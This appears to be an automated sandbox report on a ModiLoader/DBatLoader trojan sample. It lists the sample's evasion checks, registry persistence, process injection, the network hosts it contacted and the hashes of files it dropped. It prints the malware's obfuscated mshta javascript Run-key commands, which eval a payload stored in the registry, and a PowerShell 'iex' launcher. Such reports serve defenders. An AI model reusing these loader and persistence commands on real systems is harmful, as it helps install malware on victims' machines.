Malware Analysis Report

2024-08-06 14:24

Sample ID 240528-2228xshb93
Target 7eb2d009c7361067bd31077957682245_JaffaCakes118
SHA256 8637fcf33c04917f955bc902ced26cfa595905a9ce48d3e8a0da6f794a3b5f3f
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8637fcf33c04917f955bc902ced26cfa595905a9ce48d3e8a0da6f794a3b5f3f

Threat Level: Known bad

The file 7eb2d009c7361067bd31077957682245_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

Process spawned unexpected child process

ModiLoader, DBatLoader

ModiLoader Second Stage

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

Checks for common network interception software

Looks for VMWare Tools registry key

Drops startup file

Checks BIOS information in registry

Checks computer location settings

Deletes itself

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Unsigned PE

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Modifies registry class

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Modifies Internet Explorer settings

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-28 23:05

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-28 23:05

Reported

2024-05-28 23:08

Platform

win7-20240508-en

Max time kernel

150s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0815f.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:w7dDYXx=\"TT\";RP43=new%20ActiveXObject(\"WScript.Shell\");Lc1Sdji3=\"sMYrzNHG\";AK6cb3=RP43.RegRead(\"HKCU\\\\software\\\\qkrwuzl\\\\yjiro\");QI3PxFPL=\"T8atCNUw\";eval(AK6cb3);QbAAyCg2=\"N0d\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\c55956\\379df8.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:te9dmrKW=\"V1aeOHX\";y16D=new%20ActiveXObject(\"WScript.Shell\");lHdT8m=\"WCm\";ZcY6L=y16D.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\qkrwuzl\\\\yjiro\");BvwsP8P=\"Us\";eval(ZcY6L);dzthC6O0Y=\"W3sgnQaL\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:s79NoQ=\"8lLRyVI5\";pE6=new ActiveXObject(\"WScript.Shell\");y4FCI=\"D\";fuhM0=pE6.RegRead(\"HKCU\\\\software\\\\qkrwuzl\\\\yjiro\");gcbs0x5E=\"yYa\";eval(fuhM0);XbvwU7v=\"Zw\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\.925876a C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\.925876a\ = "dbb882" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2720 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2720 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2720 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2720 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2804 wrote to memory of 2852 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:LFQiA1="vM";d79B=new%20ActiveXObject("WScript.Shell");PDFK1k="OQ";Ww44bk=d79B.RegRead("HKLM\\software\\Wow6432Node\\KRyZ6PqgS\\I7inqw6");SuV7G1="Wurs";eval(Ww44bk);v1tt5YL="R9";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:salz

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
ES 91.126.94.123:80 tcp
BR 177.181.150.184:80 tcp
GB 92.41.224.121:80 tcp
NO 144.180.191.186:80 tcp
DE 51.122.145.36:80 tcp
US 160.145.63.49:80 tcp
US 136.34.71.182:80 tcp
VN 27.70.8.31:80 tcp
US 150.166.238.153:443 tcp
BR 191.246.21.230:80 tcp
BH 157.241.81.233:80 tcp
CN 222.141.91.222:80 tcp
US 204.146.76.212:80 tcp
US 76.100.161.250:80 tcp
CN 14.23.48.162:80 tcp
US 140.48.202.156:80 tcp
US 71.254.54.47:80 tcp
IT 87.19.71.234:80 tcp
US 28.81.70.186:80 tcp
US 108.108.205.159:80 tcp
US 65.219.81.27:80 tcp
ZA 41.118.34.178:80 tcp
RU 31.23.83.4:80 tcp
IT 159.210.134.181:80 tcp
ZA 41.52.112.239:80 tcp
US 129.250.22.24:80 tcp
CN 223.157.80.73:80 tcp
CN 123.81.75.34:80 tcp
VA 85.35.17.33:80 tcp
US 30.177.15.138:80 tcp
US 35.55.149.103:80 tcp
PL 46.134.190.170:443 tcp
US 21.137.209.51:80 tcp
FR 90.125.10.125:80 tcp
US 85.115.211.42:80 tcp
TW 218.170.69.177:80 tcp
AO 105.169.12.147:443 tcp
JP 202.232.203.70:80 tcp
US 38.104.189.92:8080 tcp
US 208.25.170.63:80 tcp
FI 157.24.60.154:80 tcp
MX 189.182.15.185:80 tcp
CN 124.206.245.191:80 tcp
MX 187.250.226.210:80 tcp
NL 17.232.119.91:443 tcp
US 73.42.223.150:80 tcp
US 71.192.237.208:443 tcp
MX 189.251.244.201:80 tcp
DE 51.60.199.190:80 tcp
GB 82.6.65.62:80 tcp
US 66.48.137.14:80 tcp
US 205.171.159.94:80 tcp
US 150.157.101.5:8080 tcp
US 19.12.195.239:80 tcp
US 72.150.99.41:80 tcp
US 7.204.128.70:80 tcp
US 144.233.77.142:8080 tcp
EG 105.202.108.52:80 tcp
US 96.219.48.169:80 tcp
US 97.193.204.59:80 tcp
IL 31.154.227.59:80 tcp
TR 24.133.99.237:80 tcp
SE 16.169.136.248:80 tcp
GB 82.133.9.195:80 tcp
PL 193.201.144.4:80 tcp
US 71.21.167.193:80 tcp
US 30.153.28.232:80 tcp
US 173.228.124.100:443 tcp
TW 42.71.230.223:80 tcp
US 136.27.24.177:80 tcp
GB 213.106.109.182:80 tcp
GB 145.227.188.49:80 tcp
US 30.128.237.236:80 tcp
JP 132.179.191.150:80 tcp
IT 2.35.40.136:80 tcp
US 99.108.87.147:80 tcp
US 18.62.143.92:80 tcp
CA 67.69.208.7:80 tcp
US 140.182.59.38:80 tcp
US 137.192.97.121:80 tcp
US 104.236.125.39:80 tcp
GB 25.159.164.78:80 tcp
IN 182.156.219.43:80 tcp
US 150.170.199.12:80 tcp
SE 62.95.22.207:80 tcp
CN 223.155.96.95:80 tcp
US 206.63.229.63:80 tcp
US 160.69.114.86:80 tcp
CN 112.90.184.88:80 tcp
US 98.226.6.121:8080 tcp
JP 118.21.25.243:80 tcp
US 38.22.11.209:443 tcp
JP 133.240.230.48:80 tcp
US 12.132.37.80:80 tcp
CN 175.17.100.194:80 tcp
PL 89.68.143.191:80 tcp
US 56.152.204.5:80 tcp
CN 171.46.117.35:80 tcp
AR 190.229.1.241:443 tcp
AT 85.217.174.231:80 tcp
US 173.255.209.208:80 tcp
US 38.97.158.117:80 tcp
MA 196.77.39.36:80 tcp
CN 43.182.42.149:80 tcp
JP 220.41.16.174:80 tcp
US 170.219.57.250:8080 tcp
DE 87.245.36.78:80 tcp
US 199.141.95.81:443 tcp
ES 80.173.221.197:80 tcp
US 158.3.221.239:80 tcp
BR 187.93.70.64:80 tcp
CN 139.203.192.40:443 tcp
US 108.114.21.224:80 tcp
CN 221.233.255.55:80 tcp
CA 142.150.96.33:80 tcp
NG 129.18.212.114:80 tcp
TW 114.43.4.165:80 tcp
US 70.178.158.152:443 tcp
ES 79.145.106.183:80 tcp
UA 213.130.7.168:80 tcp
AR 181.8.108.106:80 tcp
US 63.140.171.230:80 tcp
US 214.39.83.142:80 tcp
US 214.1.2.161:8080 tcp
CN 223.220.70.35:80 tcp
DE 193.99.3.27:80 tcp
CN 116.57.138.253:80 tcp
US 131.183.248.18:80 tcp
JP 153.202.122.216:80 tcp
US 207.106.148.218:80 tcp
FR 109.18.56.14:80 tcp
BE 178.145.81.234:80 tcp
US 148.116.81.194:80 tcp
CN 27.26.196.236:80 tcp
US 9.235.20.80:80 tcp
AR 138.185.140.164:80 tcp
AU 136.143.245.3:80 tcp
AU 136.143.245.3:80 136.143.245.3 tcp
JP 153.160.175.99:80 tcp
AU 101.97.47.213:80 tcp
N/A 27.131.141.223:80 tcp

Files

memory/2596-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2596-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2596-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2596-6-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-7-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-9-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-8-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-11-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-12-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2804-21-0x00000000061F0000-0x00000000062C6000-memory.dmp

memory/2852-23-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2804-26-0x00000000061F0000-0x00000000062C6000-memory.dmp

memory/2852-35-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-42-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-41-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-40-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-43-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-45-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-39-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-38-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-47-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-37-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-36-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-58-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-57-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-59-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-66-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-56-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-55-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-54-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-49-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-48-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-46-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-44-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2804-24-0x0000000002ED0000-0x0000000004ED0000-memory.dmp

memory/2852-34-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-33-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-32-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-31-0x0000000000210000-0x0000000000351000-memory.dmp

memory/284-81-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-80-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-79-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-78-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-77-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-76-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-75-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-74-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-73-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-72-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-71-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-70-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-69-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-68-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-67-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/2852-25-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-30-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-29-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-28-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-27-0x0000000000210000-0x0000000000351000-memory.dmp

C:\Users\Admin\AppData\Local\c55956\ff1237.bat

MD5 a4ee564ba17858e285c3daf96c530e67
SHA1 c9d811ebf359babdd15ca5374ae6afb1b31401b8
SHA256 9134562b968a0afd491534e7074a3ba744c630d819c4f0c199dc79668ad12e1a
SHA512 74e316747b51b52cf8ccf57ed0f3c9a467c15d309d8de7fb905f918178d3b700d4a497e8cd9de355ee29a7a8faccec5bd3665896a96273176c0f07e343827124

C:\Users\Admin\AppData\Local\c55956\4f746e.925876a

MD5 4a4d69ad73fe23590251005c0e431323
SHA1 7129a963d5df0a3ee8ebd1105020afd71710fc8b
SHA256 93a9fc7e0f22b181b5740c9c66bec3c82238e6005de8c5e2ce87507647952187
SHA512 1841ebc341b714d7f6d95d1c22a382d912519ab65b35818e47af020d3b53df3d4db5d85349c00ffc3d70f9d33b649bee391fa341afd13139ea6ec88e2b4462f7

C:\Users\Admin\AppData\Local\c55956\379df8.lnk

MD5 b70f9a5cf1698bee245d8918e30f8b1c
SHA1 3398a5bde6cc5a76937ca960056f453344dc3d5e
SHA256 89d81134e1ecdee1a144b59fbd6ee894da699372d7b8864b8930f23246aa4484
SHA512 47bc328940553bbe0a1a56834be98aaa112dd4af85039efbf9f6f0db44a014aadf78fc2c550b95762b38fd3df1a9743aec7ccda788ee892880f2d2c325424031

C:\Users\Admin\AppData\Roaming\18be8e\b446ee.925876a

MD5 f99f11cf4fc58a8b7a65a039f593d304
SHA1 41d6adf698248463b48b4ce525a267d39cd1f36c
SHA256 3f299f2a0231b7f799843e657972ebcd76be0f6d3c02fab331ed1d7f80a7244c
SHA512 fd57a917abae6aba172be675611f11715025fc039f7a423a04f52f067117acbb83cbd4c68ac9a225ad99683d4c0d77f885e36190b3e0ad7b04d17164a847c94e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0815f.lnk

MD5 62babfbc03148949b03480fc88958278
SHA1 3d0bc72e840849856704894f84774006ffeb647d
SHA256 3f4f25c98717d1c1857e524ec37670ffd020d14cf3c2e77b8b292c9a818335f4
SHA512 b60884682547913ef6657039f3e10df7bb42ff3eae8a3ed2d69fbbedc6dc0c3fd2bd196c1e4b13b1539a80f003d426bb685db6c2790d2b37d7897628c33587cd

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-28 23:05

Reported

2024-05-28 23:08

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
